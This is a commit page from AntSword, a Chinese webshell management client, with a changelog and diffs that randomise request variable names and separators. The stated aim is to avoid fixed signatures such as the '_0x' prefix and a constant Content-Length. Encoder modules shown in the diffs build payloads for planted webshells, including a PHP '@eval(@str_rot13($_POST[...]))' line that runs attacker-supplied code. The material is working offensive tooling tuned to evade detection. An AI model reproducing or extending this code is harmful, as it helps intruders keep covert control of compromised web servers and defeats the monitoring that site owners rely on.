Commit 5e9e6722 authored by Medicean's avatar Medicean

(Enhance: Core) 调整默认生成变量名规则

parent 7caef68e
...@@ -4,9 +4,35 @@ ...@@ -4,9 +4,35 @@
## `v(2.1.6)` ## `v(2.1.6)`
### 后端模块
* 修复数据截取 Bug
### 核心模块 ### 核心模块
* 数据分割字符随机化增强(随机内容,随机长度 5~12 位) * 数据分割字符随机化增强(随机内容, 随机长度 5~12 位), 避免客户端发包产生固定的 `Content-Length`
* 新增 `antSword["RANDOMWORDS"]` 全局变量, 存放英文单词, 如需要定制字典请修改 `source/base/word.js`
* 新增 `antSword["utils"]` 全局变量, 包函 `RandomChoice`, `RandomLowercase` 函数
* 发包随机变量名去除 `_0x` 通用变量前缀
* 核心模版发包键名支持随机英文单词
### Shell 管理
* 新增「使用随机英文单词变量」配置项, 在发包时非密码变量名会使用随机产生的英文单词 (thx @Ch1ngg)
![ranword_1.png](https://i.loli.net/2019/09/03/vxVCiZ6znb2MGkt.png)
未勾选此配置项时, 发包变量名如下:
![randword_2.png](https://i.loli.net/2019/09/03/bEUonV3QXTa1pSD.png)
勾选此项设置后, 发包变量名如下:
![randword_3.png](https://i.loli.net/2019/09/03/iwRZF8gbh6WEdlO.png)
* 新增常用插件功能面板, 可自定义配置常用插件到此面板, 快速调用
![shell_toolbar.png](https://i.loli.net/2019/09/03/Wu82S65Oq3EPopt.png)
### 其它 ### 其它
......
{ {
"name": "antsword", "name": "antsword",
"version": "2.1.5", "version": "2.1.5.1",
"description": "中国蚁剑是一款跨平台的开源网站管理工具", "description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js", "main": "app.js",
"dependencies": { "dependencies": {
......
...@@ -280,6 +280,7 @@ antSword['CacheManager'] = CacheManager; ...@@ -280,6 +280,7 @@ antSword['CacheManager'] = CacheManager;
antSword['Decodes'] = new Decodes(); antSword['Decodes'] = new Decodes();
antSword['menubar'] = new Menubar(); antSword['menubar'] = new Menubar();
antSword['RANDOMWORDS'] = require('./base/words'); antSword['RANDOMWORDS'] = require('./base/words');
antSword['utils'] = require('./base/utils');
antSword['package'] = require('../package'); antSword['package'] = require('../package');
// 加载模块列表 // 加载模块列表
......
'use strict';
/**
* 随机从列表返回指定长度的列表
* @param {array} array 待选列表
* @param {array} excludes 排除列表
* @param {int} len 返回的长度,默认 6
*/
function RandomChoice(array, excludes = [], len = 1) {
var tmp = [];
while (tmp.length < len) {
let v = array[Math.ceil(Math.random() * array.length - 1)];
excludes.indexOf(v) === -1 && tmp.indexOf(v) === -1 && tmp.push(v);
}
return tmp;
}
/**
* 随机生成小写字母
* @param {int} len 长度,默认1
*/
function RandomLowercase(len = 1) {
var result = [];
for (var i = 0; i < len; i++) {
var ranNum = Math.ceil(Math.random() * 25); //生成一个0到25的数字
result.push(String.fromCharCode(97 + ranNum));
}
return result.join('');
}
module.exports = {
RandomChoice,
RandomLowercase,
};
\ No newline at end of file
...@@ -56,20 +56,20 @@ const RANDOMWORDS = [ ...@@ -56,20 +56,20 @@ const RANDOMWORDS = [
"bookkeeping", "bookkeeping",
"boolean", "boolean",
"border", "border",
"bottom-up", "bottom_up",
"bound", "bound",
"bounds", "bounds",
"box", "box",
"brace", "brace",
"bracket", "bracket",
"branch", "branch",
"breadth-first", "breadth_first",
"breakpoint", "breakpoint",
"brevity", "brevity",
"buffer", "buffer",
"bug", "bug",
"building", "building",
"built-in", "built_in",
"byte", "byte",
"bytecode", "bytecode",
"cache", "cache",
...@@ -96,9 +96,9 @@ const RANDOMWORDS = [ ...@@ -96,9 +96,9 @@ const RANDOMWORDS = [
"code", "code",
"collection", "collection",
"column", "column",
"column-major", "column_major",
"comma", "comma",
"command-line", "command_line",
"Common", "Common",
"compatible", "compatible",
"compilation", "compilation",
...@@ -129,7 +129,7 @@ const RANDOMWORDS = [ ...@@ -129,7 +129,7 @@ const RANDOMWORDS = [
"constant", "constant",
"constraint", "constraint",
"container", "container",
"content-based", "content_based",
"context", "context",
"continuation", "continuation",
"continuous", "continuous",
...@@ -151,7 +151,7 @@ const RANDOMWORDS = [ ...@@ -151,7 +151,7 @@ const RANDOMWORDS = [
"dangling", "dangling",
"data", "data",
"database", "database",
"data-driven", "data_driven",
"datagram", "datagram",
"dead", "dead",
"debug", "debug",
...@@ -174,7 +174,7 @@ const RANDOMWORDS = [ ...@@ -174,7 +174,7 @@ const RANDOMWORDS = [
"dellocate", "dellocate",
"demarshal", "demarshal",
"deprecated", "deprecated",
"depth-first", "depth_first",
"derived", "derived",
"design", "design",
"designator", "designator",
...@@ -190,7 +190,7 @@ const RANDOMWORDS = [ ...@@ -190,7 +190,7 @@ const RANDOMWORDS = [
"DLL", "DLL",
"document", "document",
"dotted", "dotted",
"dotted-pair", "dotted_pair",
"duplicate", "duplicate",
"dynamic", "dynamic",
"effect", "effect",
...@@ -210,7 +210,7 @@ const RANDOMWORDS = [ ...@@ -210,7 +210,7 @@ const RANDOMWORDS = [
"equation", "equation",
"equivalence", "equivalence",
"error", "error",
"error-checking", "error_checking",
"escape", "escape",
"escaped", "escaped",
"evaluate", "evaluate",
...@@ -235,15 +235,15 @@ const RANDOMWORDS = [ ...@@ -235,15 +235,15 @@ const RANDOMWORDS = [
"field", "field",
"file", "file",
"fill", "fill",
"fineo-grained", "fineo_grained",
"firmware", "firmware",
"first-class", "first_class",
"fixed-point", "fixed_point",
"fixnum", "fixnum",
"flag", "flag",
"flash", "flash",
"flexibility", "flexibility",
"floating-point", "floating_point",
"flush", "flush",
"fold", "fold",
"font", "font",
...@@ -275,14 +275,14 @@ const RANDOMWORDS = [ ...@@ -275,14 +275,14 @@ const RANDOMWORDS = [
"handle", "handle",
"hard", "hard",
"hardware", "hardware",
"hard-wire", "hard_wire",
"hash", "hash",
"header", "header",
"heap", "heap",
"helper", "helper",
"heuristic", "heuristic",
"higher-order", "higher_order",
"high-order", "high_order",
"hyperlink", "hyperlink",
"HyperText", "HyperText",
"identical", "identical",
...@@ -325,7 +325,7 @@ const RANDOMWORDS = [ ...@@ -325,7 +325,7 @@ const RANDOMWORDS = [
"interpolation", "interpolation",
"interpret", "interpret",
"interpreter", "interpreter",
"inter-process", "inter_process",
"interrupt", "interrupt",
"intersection", "intersection",
"invariants", "invariants",
...@@ -380,10 +380,10 @@ const RANDOMWORDS = [ ...@@ -380,10 +380,10 @@ const RANDOMWORDS = [
"memory", "memory",
"menu", "menu",
"message", "message",
"message-passing", "message_passing",
"meta-", "meta_",
"metacircular", "metacircular",
"meta-programming", "meta_programming",
"method", "method",
"micro", "micro",
"middleware", "middleware",
...@@ -401,7 +401,7 @@ const RANDOMWORDS = [ ...@@ -401,7 +401,7 @@ const RANDOMWORDS = [
"monomorphic", "monomorphic",
"mouse", "mouse",
"multiple", "multiple",
"multi-task", "multi_task",
"mutable", "mutable",
"mutex", "mutex",
"namespace", "namespace",
...@@ -412,11 +412,11 @@ const RANDOMWORDS = [ ...@@ -412,11 +412,11 @@ const RANDOMWORDS = [
"newline", "newline",
"nondeclarative", "nondeclarative",
"nondestructive", "nondestructive",
"non-deterministic", "non_deterministic",
"non-strict", "non_strict",
"number", "number",
"object", "object",
"object-oriented", "object_oriented",
"on", "on",
"online", "online",
"open", "open",
...@@ -440,7 +440,7 @@ const RANDOMWORDS = [ ...@@ -440,7 +440,7 @@ const RANDOMWORDS = [
"parallel", "parallel",
"param", "param",
"parameter", "parameter",
"paren-matching", "paren_matching",
"parent", "parent",
"parentheses", "parentheses",
"parse", "parse",
...@@ -452,7 +452,7 @@ const RANDOMWORDS = [ ...@@ -452,7 +452,7 @@ const RANDOMWORDS = [
"pattern", "pattern",
"perform", "perform",
"performance", "performance",
"performance-critical", "performance_critical",
"persistence", "persistence",
"phrenology", "phrenology",
"physical", "physical",
...@@ -520,8 +520,8 @@ const RANDOMWORDS = [ ...@@ -520,8 +520,8 @@ const RANDOMWORDS = [
"rational", "rational",
"raw", "raw",
"read", "read",
"read-evaluate-print", "read_evaluate_print",
"read-macro", "read_macro",
"record", "record",
"recursion", "recursion",
"recursive", "recursive",
...@@ -549,10 +549,10 @@ const RANDOMWORDS = [ ...@@ -549,10 +549,10 @@ const RANDOMWORDS = [
"robustness", "robustness",
"routine", "routine",
"routing", "routing",
"row-major", "row_major",
"run-length", "run_length",
"runtime", "runtime",
"run-time", "run_time",
"rvalue", "rvalue",
"save", "save",
"scaffold", "scaffold",
...@@ -576,10 +576,10 @@ const RANDOMWORDS = [ ...@@ -576,10 +576,10 @@ const RANDOMWORDS = [
"serialization", "serialization",
"series", "series",
"server", "server",
"S-expression", "S_expression",
"shadowing", "shadowing",
"sharp", "sharp",
"sharp-quote", "sharp_quote",
"shortest", "shortest",
"SICP", "SICP",
"side", "side",
...@@ -587,7 +587,7 @@ const RANDOMWORDS = [ ...@@ -587,7 +587,7 @@ const RANDOMWORDS = [
"simple", "simple",
"simulate", "simulate",
"Single", "Single",
"single-segment", "single_segment",
"sketch", "sketch",
"slash", "slash",
"slot", "slot",
...@@ -641,8 +641,8 @@ const RANDOMWORDS = [ ...@@ -641,8 +641,8 @@ const RANDOMWORDS = [
"system", "system",
"table", "table",
"tag", "tag",
"tail-recursion", "tail_recursion",
"tail-recursive", "tail_recursive",
"TAOCP", "TAOCP",
"target", "target",
"taxable", "taxable",
...@@ -652,13 +652,13 @@ const RANDOMWORDS = [ ...@@ -652,13 +652,13 @@ const RANDOMWORDS = [
"testing", "testing",
"text", "text",
"thread", "thread",
"three-valued", "three_valued",
"throw", "throw",
"throwaway", "throwaway",
"timestamp", "timestamp",
"token", "token",
"top-down", "top_down",
"top-level", "top_level",
"trace", "trace",
"trailing", "trailing",
"transaction", "transaction",
......
...@@ -7,10 +7,12 @@ ...@@ -7,10 +7,12 @@
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
let randomID = `_0x${Math let randomID;
.random() if (ext.opts.otherConf['use-random-variable'] === 1) {
.toString(16) randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
.substr(2)}`; } else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer data[randomID] = Buffer
.from(data['_']) .from(data['_'])
.toString('base64'); .toString('base64');
......
...@@ -7,10 +7,12 @@ ...@@ -7,10 +7,12 @@
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
let randomID = `_0x${Math let randomID;
.random() if (ext.opts.otherConf['use-random-variable'] === 1) {
.toString(16) randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
.substr(2)}`; } else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new Sys" + let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new Sys" +
"tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" + "tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" +
"nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" + "nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" +
......
...@@ -109,9 +109,9 @@ class Base { ...@@ -109,9 +109,9 @@ class Base {
if (this.__opts__.otherConf["use-random-variable"] == 1) { if (this.__opts__.otherConf["use-random-variable"] == 1) {
// 随机返回单词, 排除 body 和 pwd // 随机返回单词, 排除 body 和 pwd
let excludes = Object.keys(this.__opts__.httpConf.body).concat(this.__opts__.pwd); let excludes = Object.keys(this.__opts__.httpConf.body).concat(this.__opts__.pwd);
return this.getRandomVariable(antSword['RANDOMWORDS'], excludes, 6); return antSword['utils'].RandomChoice(antSword['RANDOMWORDS'], excludes, 6);
} else { } else {
random = () => `${(Math.random() + Math.random()).toString(16).substr(2)}`; // 返回六个随机变量名数组 random = () => `${antSword['utils'].RandomLowercase()}${(Math.random() + Math.random()).toString(16).substr(2)}`; // 返回六个随机变量名数组
return [ return [
random(), random(),
random(), random(),
......
...@@ -7,10 +7,12 @@ ...@@ -7,10 +7,12 @@
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名 // 生成一个随机变量名
let randomID = `_0x${Math let randomID;
.random() if (ext.opts.otherConf['use-random-variable'] === 1) {
.toString(16) randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
.substr(2)}`; } else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer data[randomID] = Buffer
.from(data['_']) .from(data['_'])
.toString('base64'); .toString('base64');
......
...@@ -20,10 +20,12 @@ module.exports = (pwd, data, ext = null) => { ...@@ -20,10 +20,12 @@ module.exports = (pwd, data, ext = null) => {
} }
// 生成一个随机变量名 // 生成一个随机变量名
let randomID = `_0x${Math let randomID;
.random() if (ext.opts.otherConf['use-random-variable'] === 1) {
.toString(16) randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
.substr(2)}`; } else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = encode(data['_']); data[randomID] = encode(data['_']);
data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`; data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment